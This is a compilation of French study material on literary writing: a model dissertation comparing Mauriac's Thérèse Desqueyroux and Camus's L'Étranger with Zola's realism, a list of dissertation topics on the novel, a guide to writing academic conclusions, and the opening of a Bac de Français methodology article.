_____ Il convient de noter pour commencer combien l’écriture chez Mauriac et Camus est profondément déstabilisatrice : loin de viser à « l’observation », elle cherche plutôt la contestation du romanesque traditionnel : si Roland Barthes que nous évoquions précédemment voit dans l’écriture de l’Étranger un « style de l’absence », c’est que le je de la narration, en échappant précisément au narrateur lui-même, libère le récit de toute rationalité. D’où cette « parole du silence » chez Meursault, « transparente aux choses et opaque aux significations ». Comme l’a bien montré Jean-Paul Sartre, l’hermétisme des émotions conduit le lecteur au sentiment de l’absurde, par le fait même qu’elle le contraint à prendre ses distances avec l’histoire racontée. Ce qui est en effet surprenant dans ce roman tient au fait que, si la façon d’écrire pourrait faire penser parfois à un journal intime, l’absence de toute affectivité, de toute implication émotionnelle, remet en cause l’identification du lecteur au héros. De même, dans Thérèse Desqueyroux , le récit souvent lacunaire fait perdre au lecteur ses repères : la longue  analepse  sous forme de monologue intérieur qui domine dans la première partie du roman, loin de guider le lecteur vers la résolution d’un problème, le perd au contraire dans l’attente, la réflexion sur la mort et la culpabilité : la place du monologue intérieur ainsi que la technique de l’analepse sont donc bien loin des enquêtes de Zola, entièrement soumises à l’« expérimentation scientifique » : délaissant volontairement le réalisme objectif de l’affaire Henriette Canaby, Mauriac nous plonge davantage dans la subjectivité du personnage. Comme il le dira lui-même, « J’ai emprunté […] les circonstances matérielles de l’empoisonnement mais je n’ai pris qu’une silhouette ».

_____ D’ailleurs, Il n’y a pas vraiment de schéma actantiel dans les deux romans : pas de quête suivie, pas d’objet, pas d’état final définitif, et nous pourrions appliquer à Thérèse ce que Camus dit à propos de Meursault : « le héros du livre est condamné parce qu’il ne joue pas le jeu. En ce sens, il est étranger à la société où il vit, il erre, en marge ». Dans leur exigence d’authenticité, Meursault ou Thérèse ne « jouent » pas la « comédie humaine » ou plutôt « l’inhumaine comédie » : ils ne luttent pas, ils ne se battent pas. Leur drame est donc de refuser le réel qui leur est proposé pour s’enfoncer plus encore dans la banalité transgressive de leur quotidien. Aucune individualité typisée chez ces personnages hors-norme : même leur crime semble dénué d’enjeu. Maurice Maucuer faisait à ce titre remarquer très justement : « On peut donc penser que ce refus d’insérer l’action romanesque dans le déroulement d’événements historiques précis, que ce parti pris d’annuler l’histoire […] traduisent sans doute la  volonté de peindre, sans s’arrêter aux particularités d’une époque, une vérité humaine qui est de tous les temps  » (Maurice Maucuer,  Thérèse Desqueyroux , éd. Hatier, coll. Profil d’une œuvre, p. 28) . Pareillement, Meursault ne semble pas avoir d’identité ou de fonction sociale clairement marquée : comme dans le poème de Baudelaire intitulé « L’étranger », l’aspect énigmatique et anticonformiste du personnage est rendu par ses réponses, plus déroutantes les unes que les autres, et qui lui confèrent une sorte d’hermétisme. Au statut de marginal dans le poème répond l’anonymat d’un petit employé algérois sans importance : c’est là le paradoxe de ces personnages « indéchiffrables » voués au silence et à l’incompréhension.

_____ Ce refus d’ancrage référentiel est bien sûr irréductible au réalisme tel que le conçoit Émile Zola. Pour l’auteur de Germinal , le roman doit raconter la lutte du capital contre le travail. Ainsi, d’un point de vue narratif par exemple, les étapes du conflit entre les mineurs et le patronat rythment la progression du récit et font monter la tension dramatique. Dans nos deux romans au contraire, tout semble joué d’avance au point qu’il n’y a pas vraiment d’énigme. De même Thérèse et Meursault ne répondent pas à la caractérisation du personnage telle que l’envisagent les romanciers réalistes. Loin de donner à son héros une identité crédible et significative, Camus refuse par exemple le point de vue omniscient qui permettrait de dévoiler le passé de Meursault, de révéler ses pensées, en somme d’organiser un portrait détaillé. S’il assiste à l’enterrement de sa mère sans verser de larmes, s’il accepte avec indifférence la demande en mariage de Marie, s’il ne fait preuve d’aucun remords pendant les onze mois que dure l’instruction, c’est non parce qu’il est ce « monstre », ce criminel au « cœur endurci » que décrira le procureur lors du procès, mais parce qu’il refuse, dans une attitude de « défi », de se plier au « jeu » du monde. En ce sens, il est tout sauf le représentant d’une catégorie sociale. De même, il n’y a pas de type romanesque chez Thérèse au sens défini par Balzac : «  Un type […] est un personnage qui résume en lui-même les traits caractéristiques de tous ceux qui lui ressemblent plus ou moins, il est le modèle du genre » . Point de « modèle » donc chez ces personnages hors-norme, irréductibles à toute caractérisation objective.

[Déduction générale] _____ Alors que le héros réaliste est confronté à une réalité impitoyable face à laquelle il doit déployer son énergie pour survivre ou s’élever, le personnage chez Mauriac et Camus est donc l’expression d’une crise existentielle et identitaire majeure au point qu’on pourrait parler de « mort du personnage » dans les deux romans. Devenue « opaque » sous le regard d’une conscience indéchiffrable, la conscience du personnage présente un aspect énigmatique, voire hermétique.

[Transition] _____ Parvenus à ce stade de la réflexion, il convient de s’interroger : faut-il envisager le roman, et plus particulièrement le personnage, uniquement sous l’angle du projet réaliste ? Ne peut-on lire L’Étranger ou Thérèse Desqueyroux comme des romans de l’énigme de soi ? Tout l’intérêt de l’écriture fictionnelle à partir du vingtième siècle a été précisément de renouveler la fonction de l’écrivain : à l’ enquête chère à Zola, nos deux romans privilégient davantage la quête  : quête intérieure indissociable d’un profond questionnement existentiel.

_____ Si observation de la réalité il y a, chez Mauriac et Camus c’est une observation du moi le plus intime du personnage, c’est-à-dire l’expression d’un monde intérieur. Point de départ d’une réflexion sur le sens de la vie, le thème de la mort, omniprésent dans les deux œuvres, débouche sur une méditation philosophique essentielle : pourquoi vivre si c’est pour mourir, pourrait dire Camus ? De même, dans Thérèse Desqueyroux , le roman invite le lecteur, grâce au monologue intérieur, à une pratique de l’introspection.

_____ De fait, il faut lire d’abord nos deux œuvres comme des romans humanistes qui renvoient à une souffrance de l’être. Romans humanistes mais aussi romans philosophiques : Camus disait justement qu’« un roman n’est jamais qu’une philosophie mise en images », et il est certain qu’en montrant des comportements dépourvus de signification, L’Étranger est révélateur d’une interrogation sur le sens de la vie, déjà esquissée dans Le Mythe de Sisyphe : « Dans cet univers indéchiffrable et limité, le destin de l’homme prend désormais son sens. Un peuple d’irrationnels s’est dressé et l’entoure jusqu’à sa fin dernière. Dans sa clairvoyance revenue et maintenant concertée, le sentiment de l’absurde s’éclaire et se précise. Je disais que le monde est absurde et j’allais trop vite. Ce monde en lui-même n’est pas raisonnable, c’est tout ce qu’on en peut dire. Mais ce qui est absurde, c’est la confrontation de cet irrationnel et de ce désir éperdu de clarté dont l’appel résonne au plus profond de l’homme ». Plus simplement Camus définira l’absurde comme le « divorce entre l’homme et sa vie ». C’est de cette « confrontation entre l’appel humain et le silence déraisonnable du monde » que naît le sentiment de l’absurde. Ainsi, l’Étranger comme Thérèse Desqueyroux d’ailleurs ne se réduit pas à un contenu narratif : il est d’abord un roman sur la quête d’authenticité. Le but en effet est de nous amener à trouver dans l’existence la nostalgie d’une vérité « profondément humaine » : l’homme peut tromper les autres mais il ne peut se tromper lui-même. Dans le Mythe de Sisyphe , Camus écrivait à ce titre : « La divine disponibilité du condamné à mort devant qui s’ouvrent les portes de la prison par une certaine petite aube, cet incroyable désintéressement à l’égard de tout, sauf de la flamme pure de la vie, la mort et l’absurde sont ici, on le sent bien, les principes de la seule liberté raisonnable : celle qu’un cœur humain peut éprouver et vivre ».

_____ Ces propos, on le pressent, sont de la plus haute importance : prendre conscience de l’absurde pour Camus est presque une obligation morale ; c’est ainsi sauvegarder sa liberté en retrouvant le rapport d’unité à soi-même et au monde. De façon similaire, le crime de Thérèse est une mise en cause de la vie dans ce qu’elle a de plus trivial : vie médiocre, dépourvue de sens, qui aliène à soi-même. Romans de l’incommunicabilité, Thérèse Desqueyroux et l’Étranger sont aussi des romans du silence, du non-dit, de l’ellipse. Dans le monde du simulacre qu’ils cherchent à fuir, il n’y a de place que pour le mensonge, la dissimulation, l’hypocrisie sociale ; et sans doute comprenons-nous mieux la révolte de Meursault à la fin du roman lorsqu’il évoque sa mère : « personne n’avait le droit de pleurer sur elle ». Ce mot « personne » englobe les autres, mais aussi Meursault lui-même, qui se révèle alors celui qui a refusé de pleurer, comme les autres auraient voulu qu’il pleurât pour se conformer aux usages. La révolte de Meursault n’est donc pas une révolte politique au sens où l’entendait Zola : c’est davantage une révolte métaphysique contre les conventions sociales. Pareillement, le personnage de Thérèse ne se limite pas au portrait d’une criminelle. Loin de nous livrer le personnage une fois pour toutes, Mauriac par le truchement de la « remontée des souvenirs », nous présente au contraire un personnage complexe, contradictoire : par son refus de se soustraire à la vacuité du monde, il s’y confronte : le crime apparaît ainsi comme une révolte contre une société prisonnière des préséances et des simulacres odieux. Thérèse et Meursault doivent donc disparaître, seule manière pour l’homme de donner du sens à sa vie dans un monde neutre, un monde qui a cessé d’avoir un sens, où les valeurs sont détruites. La mort n’est plus vécue comme négation mais comme révolte de l’homme contre sa condition, en faisant face jusqu’au bout au nihilisme.

_____ Ce refus d’élever le héros de roman au mythe est essentiel. Alors que dans Germinal par exemple, le réalisme de Zola débouche sur une grande fresque historique qui implique une simplification constante des personnages, nos deux romans présentent au contraire des êtres soumis au resserrement temporel et spatial qui est celui des tragédies. Cette atmosphère de huis-clos, en bousculant perpétuellement notre horizon d’attente, oblige à pénétrer l’univers subjectif du héros, et donc à pénétrer dans l’atelier de fabrication du roman : jusqu’à quel point le romancier est-il maître de ses personnages ? Que pense vraiment Meursault ? Est-il possible, quoi que nous fassions, de sonder les profondeurs de l’âme de Thérèse ? Tous deux nous amènent à réfléchir sur nous-même et à nous questionner : de même que Meursault à la fin du roman renonce à donner un sens illusoire à sa vie, Thérèse refuse d’expliquer rationnellement son geste. La complexité du roman ne repose-t-elle pas en grande partie sur la complexité intérieure du personnage ? Complexité bien plus grande encore que le personnage social. Comme l’écrira Mauriac dans Le Roman , « Il s’agit de laisser à nos héros l’illogisme, l’indétermination, la complexité des êtres vivants », donc « laisser aux personnages l’indétermination et le mystère de la vie ». Alors que le roman réaliste va de l’énigme à sa résolution, nos deux romans vont à l’opposé du geste à l’énigme.  L’exploration du personnage débouche ainsi sur son propre mystère. En acceptant l’exécution finale, Meursault accepte d’être le bouc émissaire d’une société profondément absurde, déclarant un homme coupable pour la seule raison qu’on ne l’a pas vu pleurer à l’enterrement de sa mère.  Il  devient ainsi véritablement libre en acceptant le jugement dernier comme une « grâce » qui préfigure obscurément l’espérance et le salut du monde.  De même, l’épilogue de Thérèse Desqueyroux  peut se lire selon un sens profondément spirituel. Incapable de fournir à Bernard un mobile précis pour justifier son crime, la jeune femme affirme : « Il se pourrait que ce fût pour voir dans vos yeux une inquiétude, une curiosité, du trouble enfin ». Le champ philosophique dans les deux œuvres est donc celui du déchiffrement : le roman transforme ainsi une interrogation sur le réel en questionnement existentiel.

[Déduction générale] ____ Ambiguïté et complexité des personnages vont donc de pair chez Mauriac et Camus qui s’emploient à questionner nos préjugés de lecteur : entre attirance et recul, nous sommes contraints de rentrer dans la subjectivité des personnages , et d’envisager le roman sous l’angle de l’examen de conscience : derrière la figure sulfureuse d’une empoisonneuse ou d’un « barbare » sans remords « étranger » aux hommes mais ouvert « à la tendre indifférence du monde », il faut chercher une valeur symbolique qui est de nous pousser à trouver un sens existentiel à la vie : ainsi les deux romans peuvent s’interpréter comme une quête de conscience morale, symbolisée par « cette nuit chargée de signes et d’étoiles », sur laquelle s’achève L’Étranger .

[Conclusion] Elle se doit d’être brève et synthétique. Elle comporte en général deux étapes : l e bilan ; l ’ouverture (ou élargissement).

_____ L’exploration du personnage est l’un des mystères sans cesse renouvelé de la complexité du roman. Si les propos d’Émile Zola, en faisant l’apologie de la réalité objective, limitent le travail de l’écrivain à l’observation sociale, il faut reconnaître que tout l’intérêt de L’Étranger  et de Thérèse Desqueyroux  est d’amener le lecteur, bien au-delà de l’histoire racontée qui nous conduirait de prime abord à condamner deux criminels, à un profond questionnement intérieur.

_____ À la trivialité des récits, qui par plusieurs aspects rappelle les querelles et débats soulevés par le Naturalisme, les deux romans mettent donc en évidence une vision profondément contradictoire et complexe de l’être humain. Ainsi, le réel ne suffit point à l’homme pour trouver du sens. Le but du roman n’est-il pas justement de nous confronter à l’indicible ? En cela, il fait émerger un profond message humain, chargé de nous faire entrevoir le bonheur dans l’opacité du monde…

Bruno Rigolt © mars 2018, Bruno Rigolt/Espace Pédagogique Contributif

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- Agrégé de Lettres modernes - Docteur ès Lettres et Sciences Humaines (Prix de Thèse de la Chancellerie des Universités de Paris) - Diplômé d’Etudes approfondies en Littérature française - Diplômé d’Etudes approfondies en Sociologie - Maître de Sciences Politiques Voir tous les articles par brunorigolt

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Exemples de sujets de dissertation en Littérature sur le roman

Vous trouverez ici quelques suggestions de thèmes pour une dissertation sur le roman.

Credit Photo : Pexels Sam Lion

« La fiction ne suffit pas à caractériser le roman, mais un certain rapport entre cette fiction et la réalité. » - Louis Aragon . Êtes-vous d'accord avec cette citation ?

I- La part fictionnelle du roman (thème, stylistiques, suspension d'incrédulité, etc.) II- Son écho et son inscription dans une époque, dans la réalité III- La double position du roman : fictionnelle et historico-sociale

« Un roman naît, d'une façon en quelque sorte nécessaire, avec tous ses chapitres. » - Victor Hugo . Nommez les étapes du schéma narratif, et expliquez cette citation de Victor Hugo.

I- Les étapes du schéma narratif II- Le besoin de cohérence nécessite l'anticipation des étapes III- La fulgurance de l'idée du roman : son rôle-clé dans le travail de l'écrivain (fulgurance artistique)

« Un personnage de roman , c'est n'importe qui dans la rue, mais qui va jusqu'au bout de lui-même. » - George Simenon. Êtes-vous d'accord avec cette citation ? Développez en prenant l'exemple du roman d'apprentissage, le roman psychologique et le roman noir .

I- L'aspect fictionnel du roman (ex : roman d'apprentissage, La Chartreuse de Parme ) II- L'enclave du roman dans la réalité (aspect réaliste du développement psychologique du personnage : série des Rougon-Macquart , roman d'apprentissage, roman noir, roman psychologique (ex : L'oreille Interne , La Métaphysique des tubes , les travaux de Virginia Woolf sur le stream of consciousness, etc.) III- Questionnement sur l'inspiration de l'écrivain : jusqu'où un personnage est-il imaginaire, jusqu'où est-il inspiré du réel ?

« Le roman est une méditation sur l'existence vue au travers de personnages imaginaires. » - Milan Kundera . Qu'en pensez-vous ?

I- La fiction du roman peut se trouver dans l'environnement du personnage, et pas seulement dans le personnage (roman d'aventures, roman héroïque, etc.) II- Le roman est forcément inspiré du réel, malgré son côté fictionnel, et certains types de romans sont même spécialisés dans la ressemblance avec le réel (l'influence de la vie de l'auteur, roman historique, roman réaliste, etc.) III- La qualité existentielle du propos du roman : l'exemple du roman d'anticipation et du roman psychologique

« Si médiocre soit-il, un personnage de roman est toujours supérieur à un être humain. » - Clémence de Biéville. « Un héros de roman infidèle ! On n'aurait jamais rien vu de pareil ; il est réglé qu'ils doivent tous être constants. » - Marivaux . Observez ces deux citations. Décrivez la première, et appuyez-vous sur celle-ci pour comprendre le propos de la seconde.

I- Les codes du roman (topos, lieux communs, règles stylistiques, etc.) II- Le héros du roman : fantasme d'une époque ? (Le libertin dans Don Juan , l'humaniste dans Gargantua , etc.), ce qui lui donne toute sa grandeur surhumaine, puisqu'il est un concept. III- L'ironie de Marivaux (il s'agit, pour cette partie, d'avoir lu Marivaux : cet homme ayant écrit des pièces légères, se jouant dans les rues, ayant donné le terme de « marivaudage », ne saurait aborder les relations amoureuses de manière aussi stricte. Il s'amuse à faire jouer les roturiers aux nobles, et les nobles aux roturiers. Il sait lui-même que l'amour est volage, l'amour est fortuit, l'une de ses oeuvres s'appelle même Le Jeu de l'Amour et du Hasard .). Il sait que sa présentation des personnages, de manière un peu grotesque et comique, casse les codes des romances dramatiques l'ayant précédé. Même si le personnage de roman est un fantasme, il peut tout à fait être tourné en ridicule ; rien ne dit qu'un fantasme doit être désirable. (anti-héros)

« Le vrai roman, c'est celui dont la signification dépasse l'anecdote, la transcende, fonde une vérité humaine profonde, une morale ou une métaphysique. » - Alain Robbe-Grillet . Expliquez cette citation.

I- L'apport du réalisme dans le roman (roman réaliste, roman historique, exemple : La Ferme des animaux ) pour décrire la réalité. II- La transcendance du roman dans son propos : l'exemple du roman d'anticipation (1984, Le Meilleur des Mondes ) III- Les romans les plus fictionnels, moins réalistes et semblants donc moins en phase avec notre réalité peuvent-ils aussi, paradoxalement, transcender notre vision de l'existence, de la réalité ? (exemple : les romans d'Alain Damasio)

« Dans un bon roman policier rien n'est perdu, il n'y a pas de phrase ni de mot qui ne soient pas significatifs. » - Paul Auster. Développez cette réflexion.

I- Le roman policier (développer la description de ce genre) II- La valeur du pacte avec le lecteur (pas seulement la suspension de crédulité, mais aussi ici, l'attention du lecteur aux détails parsemés par l'auteur dans tout le roman) III- Réflexion sur la valeur d'un roman policier (il ne s'agit pas seulement de bien écrire, mais aussi de pouvoir collaborer suffisamment clairement avec le lecteur pour le laisser découvrir l'histoire à travers quelques indices parsemés. La valeur du roman policier tient donc aussi à ce que le lecteur peut lui offrir.)

« Il y a trois règles à respecter pour écrire un roman. Malheureusement, personne ne les connaît . » - William Somerset Maugham. Dissertez sur cette citation.

I- L'apparente technicité du roman, ses règles, ses lieux communs. II- La liberté du romancier (citer des auteurs qui ont révolutionné le roman) III- Réflexion sur ce qu'il est nécessaire de faire pour écrire un roman (qu'est-ce que le roman, finalement ? Une contrainte littéraire, mais si cette contrainte peut être remise en question, qu'est-ce de plus que de la prose ?)

« L'Histoire est un roman qui a été ; le roman est de l'histoire qui aurait pu être. » - Edmont et Jules de Goncourt. Expliquez cette citation avec l'exemple des réécritures et des romans historiques.  

I- Ce qu'est l'Histoire, dans ce qu'elle a de plus factuel (écrits, monuments, traités, empreinte environnementale, etc.) et de plus subjectif (l'Histoire n'est écrite que par les vainqueurs : voir la guerre de l'Empire Romain contre Vercingétorix et les Gaulois, par exemple) ; sous ce deuxième angle, l'Histoire prend déjà des airs de romans, à cause de sa subjectivité orientée en faveur des vainqueurs. II- Ce qu'est une réécriture, ce qu'est un roman historique et leur but. (exemple : La Guerre de Troie n'aura pas lieu , Notre-Dame de Paris ), l'appartenance au fictif, mais l'indéniable attache dans le présent en utilisant des lieux connus et plausibles pour l'histoire racontée. III- Quelle est, en vérité, la différence en l'histoire du roman et l'Histoire ? Un roman peut témoigner, décrire. Mais l'Histoire peut-elle être une démarche artistique ?

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La conclusion : une fin réussie

Publié le 1 juillet 2020 par Agathe Costes .

Le terme conclusion peut avoir différentes significations qui restent toutefois proches. Dans le cadre qui nous intéresse, une conclusion est une partie terminant un document . Elle permet généralement d’énoncer une forme de bilan, de conséquence ou de morale du texte qui la précède.

Une conclusion peut apparaître dans différents documents :

• un roman ;
• un essai ;
• une dissertation  ;
• un écrit académique ( rapport de stage , mémoire , thèse ) ;
• un compte rendu ;
• un document juridique, etc.

Cet article présente spécifiquement la conclusion dans la dissertation et les écrits académiques.

Table des matières

Réussir sa conclusion, la conclusion dans les dissertations, la conclusion dans les rapports de stage, mémoires et thèses.

Au même titre que l’introduction, la conclusion représente une partie essentielle d’un document. Pour qu’un document donne l’impression d’être réussi, sa fin doit impérativement l’être.

Pour écrire une conclusion satisfaisante, il est nécessaire de :

• reprendre correctement les différentes parties formant la conclusion ;
• établir un raisonnement logique , appuyé par les recherches menées dans le développement ;
• respecter le style académique universitaire (écrire avec clarté, précision, concision, neutralité et cohérence).

Vous devrez ainsi éviter les fautes, les répétitions, les redondances, l’emphase, les idées toutes faites, ainsi que le manque de clarté et de logique.

Nous vous détaillons dans les parties ci-dessous les éléments à intégrer dans une conclusion en fonction du type de document présenté : dissertation, rapport de stage, mémoire et thèse de doctorat.

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La  conclusion dans la dissertation doit répondre à la problématique posée dans l’introduction du document et proposer une perspective d’ouverture par rapport au sujet abordé.

Elle se compose :

• d’un rappel de la problématique ;
• d’un bilan des arguments des parties du développement ;
• de la réponse à la problématique de l’introduction ;
• d’une proposition d’ouverture sur le sujet abordé.

Exemple de conclusion de dissertation

Sujet : « En quoi peut-on dire que l’objet ordinaire diffère de l’oeuvre d’art ? »

Nous avons donc tout d’abord montré que les oeuvres d’art et les objets ordinaires pouvaient, au premier abord, sembler identiques du fait de leur apparente production artificielle qui impliquerait l’utilisation de la main ainsi que la présence de travail, et que ces deux éléments constitueraient des imitations imparfaites.

Cependant, si l’on débute une réflexion plus profonde dans la compréhension de l’oeuvre et de l’objet, on s’aperçoit que la création d’une oeuvre d’art provient de l’existence d’un don mystique qui crée des règles spontanément, ce qui permet à l’artiste de fabriquer des oeuvres innovantes et intéressantes.

Au terme de cette étude, il apparaît donc que l’oeuvre d’art et l’objet ordinaire sont des éléments qui diffèrent l’un de l’autre, en raison de la présence d’apports chez l’oeuvre d’art, qui sont inexistants chez les objets ordinaires. Ainsi, les objets d’art sont bien plus que de simples imitations, il s’agit d’éléments qui possèdent du mystère dans leur création, ainsi qu’un apport innovateur dans leur l’expression. Il existe d’ailleurs, une spontanéité dans leur création, qui est absente dans la fabrication d’objets du quotidien.

Par ailleurs, d’après le philosophe Bergson, l’art nous fait voir le monde autrement, alors que les choses ordinaires nous montrent uniquement l’utilité pratique des objets. En effet, selon ce philosophe « lorsque nous voyons un objet d’habitude, nous ne le voyons pas ».

Les caractéristiques de la conclusion pouvant légèrement varier selon le support, nous vous présentons ci-dessous un tableau récapitulatif pour chaque écrit.

Exemple de conclusion d’un rapport de stage

Pour conclure, j’ai effectué mon stage de fin d’études de master en marketing international, en tant que manager pour le marché français au sein de l’entreprise Sparlox à Londres. Lors de ce stage de six mois, j’ai pu mettre en pratique mes connaissances théoriques acquises durant ma formation à l’université de Paris I, tout en étant confronté aux difficultés réelles du monde du travail et du management d’équipes.

Après ma rapide intégration au sein de l’entreprise, j’ai eu l’occasion de réaliser plusieurs missions en marketing et de développer des stratégies d’implantation à l’international.

Ce stage a été très enrichissant pour moi, car il m’a permis de découvrir le domaine de l’agroalimentaire, ses acteurs et ses contraintes. Il m’a permis de participer concrètement à ses enjeux au travers mes missions en management de projet, marketing et organisation d’événements. Ce stage m’a aussi fait comprendre que les missions administratives n’étaient pas les plus adaptées à mon profil et que les missions internationales me passionnaient le plus. Je préfère ainsi m’orienter vers un poste lié à la gestion de projet à l’international.

Cette expérience m’a permis de répondre aux questionnements que j’avais en ce qui concerne les moyens utilisés par les entreprises pour s’adapter au changement de leur environnement. L’entreprise qui m’a accueilli pendant ce stage faisait face à une période charnière, et je suis très fier d’y avoir contribué. L’évolution des usages et l’adaptation de l’entreprise au changement de son environnement m’ont permis de comprendre l’importance des enjeux économiques dans la définition des stratégies à adopter.

À la fin de mon stage, l’entreprise a décidé d’ouvrir un bureau en Chine et de pénétrer le marché pour les produits laitiers. Cette nouvelle démarche met en exergue l’importance pour une entreprise de chercher des débouchés dans les pays émergents.

Exemple de conclusion d’un mémoire

Ce mémoire avait pour ambition de mesurer l’autorité du texte de Jean-Paul Sartre « Orphée noir », préface à l’Anthologie de la nouvelle poésie nègre et malgache de langue française, en se demandant si « Orphée noir » constitue à la fois une préface, une œuvre littéraire, et un manifeste de la négritude.

Il a fallu dans un premier temps définir la notion même d’autorité d’un texte, examiner les caractéristiques inhérentes au texte et ne sélectionner que les plus pertinentes.

Au moyen de l’analyse lexicométrique grâce au logiciel Tropes, de l’analyse du discours plus régulièrement, mais aussi de l’histoire littéraire, il a été possible de se lancer dans ce travail minutieux. Ainsi, les spécificités énonciatives, telles que la mise en scène de la préface et la présence des guillemets, dénotaient une volonté de créer un discours préfaciel inédit.

Il convenait alors de s’intéresser à la réception de la préface. Un parti fort a été adopté dans cette dernière étape, celui de rechercher, sans vraiment sélectionner, quelques manifestations d’opinions à l’égard d' »Orphée noir », et de confronter les différents points de vue apparaissant dans ces articles. L’échantillon laissait entrevoir des disparités dans la façon de se représenter le texte, selon les auteurs, et donner matière à l’analyse.

L’idée selon laquelle « Orphée noir » a fait, et fait toujours autorité en tant que préface, œuvre littéraire et manifeste de la négritude, mérite d’être modérée. Comme le dit si justement Frantz Fanon, « Orphée noir « est » une date dans l’intellectualisation de l’exister noir”. Première réelle tentative de théorisation de la négritude, la préface est symbolique car elle marque un tournant majeur. Dès lors, de nouveaux débats intellectuels sont nés et ont été nourris de cette pensée.

Le texte « Orphée noir » n’a pas eu le rayonnement attendu dans l’Hexagone. De nombreux ouvrages de référence (manuels et encyclopédies) sur la négritude ne le mentionnaient jamais, contrairement au recueil d’essais et d’articles dont il faisait partie, Situations III. Aussi le bilan est-il mitigé pour l’autorité, en France, d' »Orphée noir » en tant que manifeste de la négritude.

À l’aube des années 1960, «  Black Orpheus « , la traduction anglaise d' »Orphée noir », paraît dans la revue Presse africaine. Il rencontre un franc succès, dont les raisons sont multiples. Sartre étant considéré comme une éminence littéraire et un homme de résistance au sortir de la guerre, le texte était attendu de son public et de la critique. Dans une Amérique en pleine mutation, en proie aux conflits socioculturels et politiques, les thématiques développées par Sartre sur la négritude dépeignent parfaitement les problématiques liées à la ségrégation. À partir de ce constat, nous pouvons d’ores et déjà envisager une nouvelle piste de recherche. En effet, nous pourrions nous demander à présent pourquoi la réception d' »Orphée noir » n’a pas été aussi positive en France qu’aux États-Unis, alors même que le contexte historique de racisme envers le Noir est commun aux deux pays. Ce travail de mémoire se voulait principalement linguistique, mais dans cette nouvelle perspective, il serait pertinent de procéder à une étude transdisciplinaire qui investirait des champs tels que l’Histoire et la littérature afro-américaine, ou encore la sociologie.

Exemple de conclusion d’une thèse

Voir un exemple

Dans une dissertation, un rapport de stage, un mémoire ou une thèse, écrire une bonne conclusion nécessite :

• de mentionner toutes les parties composant la conclusion (par exemple : retour sur la problématique, analyse des résultats énoncés dans le développement et réponse à la problématique en fonction de ceux-ci, proposition d’ouverture sur le sujet) ;
• de respecter les règles d’orthographe et de syntaxe ainsi que le style académique (écrire avec clarté, précision, concision, neutralité et cohérence).

Une conclusion comprend généralement :

• un retour sur la problématique énoncée en introduction ;
• une analyse des résultats mentionnés dans le développement et une réponse à la problématique en fonction de ceux-ci ;
• une perspective d’ouverture sur le sujet.

Néanmoins, selon le type de document à rendre (dissertation, mémoire, etc.), ces parties peuvent varier quelque peu. Nous vous recommandons la lecture de notre article sur le sujet si vous souhaitez en savoir plus.

Citer cet article de Scribbr

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Costes, A. (2020, 01 juillet). La conclusion : une fin réussie. Scribbr. Consulté le 27 mai 2024, de https://www.scribbr.fr/elements-linguistiques/conclusion-academique/

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Agathe Costes

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La Classe du Littéraire

Explications de textes, biographies d'auteurs, méthodologie, grammaire … Tout pour le Bac de Français et les études littéraires.

La Méthode de la Dissertation pour le Bac de Français

En suivant la bonne méthode, il est tout à fait possible d’ avoir une excellente note à l’épreuve de la dissertation du Bac de Français .

Ceci étant dit, c’est une épreuve complexe, dense, et qui implique de nombreuses compétences. Il est donc nécessaire de la préparer sérieusement tout au long de l’année.

Mais pourquoi travailler toute l’année une épreuve quand on sait qu’on aura le choix entre deux sujets à la fin ?

Pour rappel, l’épreuve écrite du Bac de Français laisse le choix aux candidats entre le commentaire littéraire ou la dissertation sur une oeuvre .

La majorité des élèves choisit le commentaire. Pourtant, une dissertation bien menée permet à certains candidats de tirer leur épingle du jeu et d’avoir une note excellente en se démarquant des autres.

De plus, il est possible de tomber sur un texte très difficile au commentaire … dans ce cas, heureux celui qui sera capable de traiter le sujet de dissertation.

Dans cet article, vous apprendrez les étapes pour rédiger une bonne dissertation littéraire .

À travers cette méthodologie de la dissertation en français , vous découvrirez les bases comme les différents types de sujets , les éléments de l’introduction ou encore la présentation du développement .

Je vous partagerai également des astuces pour éviter d’être en panne d’idées , pour toujours trouver des arguments et, in fine , être capable de rendre une bonne copie à coup sûr !

Méthode Bac Français : Les objectifs de la dissertation

Avant d’entrer dans le détail de cette méthodologie, commençons par comprendre le but de l’épreuve.

Il s’agit de l’une des deux modalités proposées par le ministère pour évaluer les acquis des élèves à l’issue du tronc commun de français.

En d’autres termes, la dissertation littéraire doit permettre au correcteur d’apprécier les compétences développées par le candidat depuis qu’il étudie la littérature française (la grammaire étant évaluée à l’oral).

Mais quelles sont donc ces compétences que tout élève est censé avoir acquis à l’issue de sa scolarité ?

Eh bien tout d’abord, la culture littéraire . En effet, le correcteur s’intéressera aux références mobilisées par le candidat. Après des années à étudier des textes littéraires, il convient au Bac d’être capable de les faire dialoguer.

Ensuite, la dissertation évalue l’élève en tant que lecteur . Dans quelle mesure le candidat s’est-il approprié l’oeuvre au programme ? Est-il capable de faire référence à des passages précis ? Connait-il bien les personnages, les enjeux, le contexte littéraire, l’auteur ?

Enfin, de manière générale, cette épreuve évalue la capacité du candidat a développer une réflexion construite et argumentée . Pour cela, il doit puiser dans différentes compétences comme l’orthographe , la culture et l’esprit de synthèse .

Comprendre et prendre en compte ces objectifs est fondamental pour réussir une bonne dissertation en français.

Donner au correcteur ce qu’il attend, c’est s’assurer une bonne note.

C’est pourquoi il est primordial de comprendre ce qui est attendu d’un exercice avant de chercher à travailler sa méthodologie.

Méthode Bac Français : Les textes officiels sur la dissertation

Plongeons maintenant dans les textes officiels qui nous apprennent en détails ce qui est attendu des élèves lors de la dissertation au bac de français.

Qu’est-ce qu’une dissertation de français ?

La dissertation en français est un exercice argumentatif amenant le candidat à répondre à une question ou à discuter un point de vue en mobilisant sa culture littéraire. La dissertation littéraire peut porter sur une oeuvre ou sur une question littéraire générale.

Dans le cadre des nouveaux programme du Bac, la dissertation en français porte sur l’une des oeuvres au programme et sur le parcours associé.

Comment se passe la dissertation au bac de français ?

La dissertation en français fait l’objet d’une épreuve de 4h se déroulant vers la mi-juin. Les élèves la passent en fin de 1ère. Lors de l’épreuve, ils ont le choix entre plusieurs sujets : un commentaire littéraire ou une dissertation sur l’oeuvre du programme qu’ils ont étudiée.

Comment rédiger une bonne dissertation littéraire ?

Pour rédiger une bonne dissertation littéraire lors du bac de français, il faut développer un raisonnement construit, argumenté, étayé par des références littéraires concrètes liées à l’oeuvre et au parcours étudiés en classe. Le sujet doit être analysé, problématisé et discuté.

Voyons donc d’un peu plus près ce que disent exactement les textes.

